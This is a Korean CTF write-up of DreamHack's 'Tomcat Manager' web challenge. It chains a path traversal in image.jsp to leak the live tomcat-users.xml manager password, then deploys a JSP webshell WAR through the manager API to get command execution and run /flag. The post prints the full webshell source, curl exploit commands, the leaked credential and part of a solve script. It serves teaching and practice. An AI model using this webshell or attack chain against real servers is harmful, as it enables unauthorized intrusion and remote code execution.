2026-06-06·1분 읽기·
image.jsp의 path traversal(LFI)로 /flag를 읽으려다 404에 막힌다. /flag가 읽기 권한 없는 실행 전용 파일이었기 때문. LFI로 conf/tomcat-users.xml의 진짜 매니저 비밀번호를 유출하고, Tomcat Manager에 웹셸 WAR을 배포해 RCE를 얻은 뒤 /flag를 "실행"해 플래그를 뽑았다.
이 글이 도움이 됐나요?
문제: DreamHack — Tomcat Manager 분류: Web 난이도: 🥉 Bronze 1 FLAG:
DH{a2062e589d0b1d627cf999066fb6c335ffe89ab85e81d7b7d91dd64e8f59d505}
| 항목 | 내용 |
|---|---|
| 문제명 | Tomcat Manager |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Web |
| 제공 파일 / 서버 | ROOT.war, tomcat-users.xml, Dockerfile / Tomcat 8.0.51 |
| 핵심 취약점 / 기법 | image.jsp LFI → 매니저 비번 유출 → WAR 배포 RCE |
드림이가 톰캣으로 서비스를 올렸고, 취약점을 찾아 /flag를 얻으면 된다.
배포 파일에 tomcat-users.xml이 있다. 모든 manager/admin 롤을 가진 tomcat 유저가 있는데 비밀번호만 [**SECRET**]로 가려져 있다.
문제 이름이 "Tomcat Manager"고 비번이 가려져 있으니, 매니저로 들어가는 게 목표라는 건 처음부터 티가 난다. 문제는 그 비번을 어디서 구하느냐, 그리고 매니저까지 갔을 때 왜 그게 필요한가다.
ROOT.war를 풀면 JSP 두 개가 전부다. 메인은 "Under Construction" 안내 페이지.

index.jsp는 image.jsp를 이미지 태그로 부른다.
<!-- index.jsp -->
<img src="./image.jsp?file=working.png"/>브라우저로 직접 열어보면 working.png가 그대로 뜬다. 이미지를 파일명으로 받아 내려주는 단순한 핸들러다.

문제는 그 image.jsp의 내부다.
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");
response.setContentType("image/jpeg");
try {
java.io.FileInputStream fileInputStream =
new java.io.FileInputStream(filepath + _file); // 검증 0
int i;
while ((i = fileInputStream.read()) != -1) { out.write(i); }
fileInputStream.close();
} catch (Exception e) {
response.sendError(404, "Not Found !");
}
%>filepath는 .../webapps/ROOT/resources/로 고정되지만, file 파라미터는 아무 검증 없이 그대로 이어붙인다.
../를 끼우면 resources/ 밖으로 얼마든지 올라갈 수 있다. 전형적인 path traversal(LFI)이다.
resources/에서 시스템 루트 /까지는 여섯 단계 위다.
/usr/local/tomcat/webapps/ROOT/resources/
6 5 4 3 2 1/etc/passwd로 동작을 확인해 보면 깔끔하게 읽힌다.
$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/usr/sbin/nologin
...LFI는 확실히 된다. 그럼 곧장 /flag를 읽으면 끝일 것 같다.
/flag를 직접 읽으려다 막히다문제 설명이 친절하게 알려준다. 플래그는 /flag에 있다. 그대로 traversal로 긁어보자.
$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../flag"
HTTP Status 404 - Not Found !../를 6개~10개까지 바꿔가며 다 던져봐도 결과는 똑같다.
여기서 잠깐 멈췄다. /etc/passwd는 읽히는데 /flag만 404라면, traversal이 깨진 게 아니라 그 파일을 못 읽는다는 뜻이다.
image.jsp의 404는 FileInputStream이 던진 예외를 catch해서 내보내는 값이다. 자바에서 FileInputStream은 파일이 없을 때도, 권한이 없을 때도 똑같이 FileNotFoundException을 던진다. 즉 404 하나로는 둘을 구분 못 한다.
권한 쪽을 의심하고 /etc/shadow(보통 640 root:shadow라 일반 유저는 못 읽음)를 던져봤다.
$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../../../../etc/shadow"
HTTP Status 404 - Not Found !읽을 수 있는 passwd는 200, 권한 없는 shadow는 404. 그렇다면 /flag의 404도 "없음"이 아니라 "권한 없음"이다.
Dockerfile을 다시 보면 톰캣은 USER tomcat으로 돈다. flag는 COPY flag /flag로 root가 넣었다. 웹앱(=tomcat 유저)이 직접 읽을 수 없게 막혀 있는 것이다.
읽기로는 못 뚫는다. 그래서 문제 이름이 "Tomcat Manager"였던 거다.
매니저로 들어가려면 비번이 필요하다. 배포된 tomcat-users.xml에선 가려져 있지만, 서버에서 실제로 돌고 있는 설정 파일은 다르다.
실제 파일은 /usr/local/tomcat/conf/tomcat-users.xml에 있다. resources/ 기준으로 ../ 세 번이면 conf/에 닿는다.
$ curl "http://host8.dreamhack.games:8220/image.jsp?file=../../../conf/tomcat-users.xml"
...
<user username="tomcat"
password="P2assw0rd_4_t0mC2tM2nag3r31337"
roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />가려져 있던 비번이 평문으로 나온다 — P2assw0rd_4_t0mC2tM2nag3r31337.
읽기로 flag는 못 가져와도, 읽기로 비번은 가져올 수 있다. LFI의 진짜 쓸모는 여기였다.
유출한 자격증명이 먹는지 manager 텍스트 인터페이스로 확인한다. manager-script 롤이 있으니 /manager/text/*가 그대로 열린다.
$ curl -u 'tomcat:P2assw0rd_4_t0mC2tM2nag3r31337' \
"http://host8.dreamhack.games:8220/manager/text/list"
OK - Listed applications for virtual host localhost
/manager:running:0:manager
/:running:18:ROOT
/docs:running:0:docs
...인증 통과. 이제 명령 실행용 JSP 한 장을 WAR로 묶어 배포한다.
<%-- cmd.jsp --%>
<%@ page import="java.util.*,java.io.*"%><%
String c = request.getParameter("cmd");
out.println("<pre>");
if (c != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while ((l = r.readLine()) != null) out.println(l);
}
out.println("</pre>");
%>manager-script의 deploy 엔드포인트는 WAR 본문을 PUT으로 받는다.
$ jar -cvf shell.war cmd.jsp
$ curl -u 'tomcat:P2assw0rd_4_t0mC2tM2nag3r31337' \
--upload-file shell.war \
"http://host8.dreamhack.games:8220/manager/text/deploy?path=/sh&update=true"
OK - Deployed application at context path /sh배포 끝. /sh/cmd.jsp로 명령이 돈다.

uid=1000(tomcat) — 예상대로 tomcat 권한이다. 그럼 이 권한으로 /flag를 못 읽는다는 건데, 왜 못 읽는지 직접 확인해보자.
$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=ls+-la+/flag"
---x--x--x 1 root root 10616 Jul 13 2021 /flag
권한이 ---x--x--x다. 읽기 비트(r)가 아무에게도 없고 실행 비트(x)만 모두에게 있다. 크기는 10KB가 넘는 바이너리.
이건 읽으라고 둔 텍스트가 아니라 실행하라고 둔 파일이다. cat은 당연히 실패한다.
$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=cat+/flag"
cat: can't open '/flag': Permission deniedLFI가 처음부터 404를 뱉던 이유가 여기서 완전히 맞아떨어진다. 읽기 권한이 없으니 FileInputStream도 똑같이 막혔던 것이다.
그냥 실행해버리면 된다.
$ curl "http://host8.dreamhack.games:8220/sh/cmd.jsp?cmd=/flag"
DH{a2062e589d0b1d627cf999066fb6c335ffe89ab85e81d7b7d91dd64e8f59d505}
전체 흐름을 한 스크립트로 묶었다. WAR도 파이썬에서 메모리로 만들어 PUT한다.
# solve.py
import io, zipfile, urllib.request, base64, re
HOST = "host8.dreamhack.games:8220"
BASE = f"http://{HOST}"
def get(url, user=None):
req = urllib.request.Request(url)
if user:
req.add_header("Authorization", "Basic " + base64.b64encode(user.encode()).decode())
return urllib.request.urlopen(req, timeout=15).read().decode(errors="replace")
# 1) LFI 로 conf/tomcat-users.xml 의 진짜 매니저 비번 유출
conf = get(
실행 결과 — 비번 유출 → 웹셸 배포 → /flag 실행까지 한 번에 떨어진다.

LFI의 404는 "없음"과 "권한 없음"을 구분하지 못한다.
/etc/passwd는 되는데 /flag만 404였던 게 신호였다. 권한 있는 파일(passwd)과 없는 파일(shadow)을 같이 던져보면 404의 정체가 드러난다. 같은 LFI라도 어떤 파일은 읽히고 어떤 파일은 안 읽히는 이유는 traversal이 아니라 권한에 있었다.
읽기로 못 가져오면, 읽기로 열쇠를 가져오면 된다.
flag 자체는 읽기 권한이 없었지만 conf/tomcat-users.xml은 읽혔다. 거기서 매니저 비번을 꺼내 RCE로 넘어가는 게 이 문제의 실제 경로였다. 가려진 [**SECRET**]은 배포 파일에서만 가려졌을 뿐, 서버 위 실제 설정에는 평문으로 남아 있었다.
파일 권한은 동작 방식을 그대로 드러낸다.
---x--x--x를 보고 나서야 모든 게 맞아떨어졌다. 읽기 비트가 없으니 cat도 FileInputStream도 막히고, 실행 비트만 있으니 답은 실행이었다. 권한 한 줄이 풀이 방법을 정해준 셈이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…